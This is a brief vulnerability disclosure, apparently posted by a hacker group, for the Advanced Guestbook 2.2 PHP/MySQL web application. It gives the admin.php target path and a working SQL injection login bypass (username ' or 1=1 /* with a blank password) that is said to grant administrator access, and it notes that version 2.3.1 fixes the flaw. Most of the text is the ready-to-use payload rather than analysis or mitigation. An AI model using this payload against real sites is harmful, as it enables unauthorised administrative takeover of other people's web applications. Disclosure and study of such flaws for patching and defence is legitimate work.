Guestbook 2.2 webapplication (PHP, MySQL) appears vulnerable to SQL Injection granting the attacker administrator access. Target : http://www.example.com/[GuestbookTarget]/admin.php Username: ' or 1=1 /* Password: (Nothing)(Blank) It`s Working On Advanced Guestbook 2.2 version 2.3.1 will fix this vulnerability. Report By : POPO ( Pooya ) >From www.Babol-Hackers.com bhs_team@yahoo.com Y! ID : bhs_team , pooya_0nline ----------------------------------- BHS-Team We Are : POPO + Padeshah + Black ICE + Ezraeil + UNDERTAKER + Fa0p